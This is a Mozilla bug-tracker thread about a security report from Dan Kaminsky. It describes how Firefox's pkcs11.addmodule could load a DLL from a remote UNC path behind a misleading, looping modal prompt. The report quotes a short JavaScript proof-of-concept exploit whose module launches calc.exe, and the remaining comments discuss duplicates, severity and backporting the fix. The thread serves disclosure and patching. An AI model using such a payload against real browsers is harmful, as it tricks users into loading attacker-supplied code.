Created attachment 393517 [details]
Module runs calc.exe when loaded
Dan Kaminsky reported this issue. His full email to email@example.com:
Apparently this has garnered some internal attention over the last three years -- saw https://bugzilla.mozilla.org/show_bug.cgi?id=326628 .
You guys sort of found that this can be thrown into a while(1) loop, but didn't realize it's a fully modal dialog and so all of Firefox is locked until the user hits OK.
What was really missed, however, was the fact that on Windows a UNC path can be used as an argument to LoadLibrary. So the DLL can be loaded from a remote source.
Exploit looks like this:
var str = "Error detected in Firefox Module NSP31337.bin.\n" +
"Please click 'OK' to repair."
ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n", "\\\\127.0.0.1\\c$\\pkunkcs", 0, 0);
pkunkcs attached, launches calc.exe. Obviously the path doesn't need to loop back to 127.0.0.1 .
Nelson: I understand you and Dan talked about this before he left. Any comments here?
Isn't this just a straight duplicate of bug 326628? Other than "backport bug 326628 to the 1.9.0 branch" I'm not sure what the expected resolution would be.
That's what Nelson said, too.
We missed the UNC path issue which makes it sg:critical rather than sg:moderate (bug 326628 comment 23). We should backport this--but note bug 326628 comment 52 / bug 495756.
Why is it sg:critical? It can't be exploited without explicit user interaction.
Between the prompt being confusing and the attacker being able to put the prompt in a while(1) loop, I imagine it would have a pretty high chance of success.
I agree with Benjamin that this is "just a straight duplicate of bug 326628"
and that the solution is "backport bug 326628 to the 1.9.0 branch".
The original design intent of the facilities for adding new PKCS#11
modules to the mozilla browser was to offer two separate methods:
1) a UI dialog in the security manager preferences by which the user could
do all the work for himself,
of the module could do the work for the user.
https://developer.mozilla.org/en/PKCS11_Module_Installation provides minimal
information about both methods.
We expected that most PKCS#11 modules would be installed via an XPI.
method from a web page, and developers of deployments of PKCS#11 modules
began to rely on that. But that was vulnerable, and now that has been taken
away, leaving developers wondering what to do instead.
IMO, the right thing to do is to steer those developers back to developing
XPIs, rather than trying to teach users how to find and use the UI for this
installation. We really should encourage developers to consider the XPI
as the primary vehicle for that installation, IMO.
Benjamin: Can you work on backporting bug 326628 to the 1.9.0 branch?
Fixed or duplicate of bug 326628 (fixed for 220.127.116.11 also).